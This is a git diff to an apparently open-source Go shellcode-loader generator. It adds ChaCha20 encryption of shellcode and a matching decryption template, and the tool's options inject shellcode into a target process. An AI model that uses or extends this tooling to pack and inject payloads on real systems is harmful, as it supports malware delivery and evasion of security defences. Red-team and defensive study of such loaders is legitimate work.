diff --git a/TODO.txt b/TODO.txt
@@ -2,9 +2,6 @@
####### ROADMAP 2.0.0 #######
#############################
-Encryption:
- -> add support for chacha20
-
Templates:
- ProcessHollowing
- syscall method
diff --git a/cli/parser.go b/cli/parser.go
@@ -108,6 +108,23 @@ func GetParser(opts *Options) *cobra.Command {
}
template = tools.GetXORTemplate()
+ case EncKindC20:
+ encrypted, err = tools.EncryptChacha20(shellcode, []byte(opts.Key))
+ if err != nil {
+ fmt.Println("[!] Could not encrypt with ChaCha20")
+ panic(err)
+ }
+
+ fmt.Println("\n...downloading necessary library...")
+ fmt.Println("if it fails because of your internet connection, please consider using XOR or AES instead")
+
+ /* Running `go get "golang.org/x/crypto/chacha20poly1305"` in MYPH_TMP_DIR` */
+ execCmd := exec.Command("go", "get", "golang.org/x/crypto/chacha20poly1305")
+ execCmd.Dir = MYPH_TMP_DIR
+
+ _, _ = execCmd.Output()
+ template = tools.GetChacha20Template()
+
case EncKindBLF:
encrypted, err = tools.EncryptBlowfish(shellcode, []byte(opts.Key))
if err != nil {
@@ -197,7 +214,7 @@ func GetParser(opts *Options) *cobra.Command {
cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CreateThread)")
- cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, XOR, blowfish)")
+ cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
cmd.PersistentFlags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
diff --git a/cli/types.go b/cli/types.go
@@ -12,6 +12,7 @@ const (
EncKindAES encKind = "AES"
EncKindXOR encKind = "XOR"
EncKindBLF encKind = "blowfish"
+ EncKindC20 encKind = "chacha20"
CRT technique = "CRT"
CreateThread technique = "CreateThread"
@@ -25,11 +26,11 @@ func (e *encKind) String() string {
// Set must have pointer receiver so it doesn't change the value of a copy
func (e *encKind) Set(v string) error {
switch v {
- case "AES", "XOR", "blowfish":
+ case "AES", "XOR", "blowfish", "chacha20":
*e = encKind(v)
return nil
default:
- return errors.New("must be one of \"AES\", \"blowfish\" or \"XOR\"\n\n")
+ return errors.New("must be one of \"chacha20\", \"AES\", \"blowfish\" or \"XOR\"\n\n")
}
}
diff --git a/go.mod b/go.mod
@@ -10,4 +10,5 @@ require (
require (
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
+ golang.org/x/sys v0.10.0 // indirect
)
diff --git a/go.sum b/go.sum
@@ -8,5 +8,7 @@ github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
+golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
+golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/tools/crypting.go b/tools/crypting.go
@@ -9,8 +9,36 @@ import (
"io"
"golang.org/x/crypto/blowfish"
+ "golang.org/x/crypto/chacha20poly1305"
)
+func GetChacha20Template() string {
+ return fmt.Sprintf(`
+package main
+
+import (
+ "golang.org/x/crypto/chacha20poly1305"
+
+ "errors"
+)
+
+func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
+ enc, err := chacha20poly1305.NewX(key)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ nonceSize := enc.NonceSize()
+ if len(toDecrypt) < nonceSize {
+ return nil, errors.New("Ciphertext too short")
+ }
+
+ nonce, ciphertext := toDecrypt[:nonceSize], toDecrypt[nonceSize:]
+ return enc.Open(nil, nonce, ciphertext, nil)
+}
+ `)
+}
+
func GetBlowfishTemplate() string {
return fmt.Sprintf(`
package main
@@ -85,6 +113,37 @@ func Decrypt(toDecrypt []byte, key []byte) ([]byte, error) {
`)
}
+func DecryptChacha20(toDecrypt []byte, key []byte) ([]byte, error) {
+ enc, err := chacha20poly1305.NewX(key)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ nonceSize := enc.NonceSize()
+ if len(toDecrypt) < nonceSize {
+ return nil, errors.New("Ciphertext too short")
+ }
+
+ nonce, ciphertext := toDecrypt[:nonceSize], toDecrypt[nonceSize:]
+ return enc.Open(nil, nonce, ciphertext, nil)
+}
+
+func EncryptChacha20(toCrypt []byte, key []byte) ([]byte, error) {
+
+ enc, err := chacha20poly1305.NewX(key)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ nonce := make([]byte, enc.NonceSize())
+ _, err = io.ReadFull(rand.Reader, nonce)
+ if err != nil {
+ return []byte{}, err
+ }
+
+ return enc.Seal(nonce, nonce, toCrypt, nil), nil
+}
+
func EncryptBlowfish(toCrypt []byte, key []byte) ([]byte, error) {
/*
| | | | | |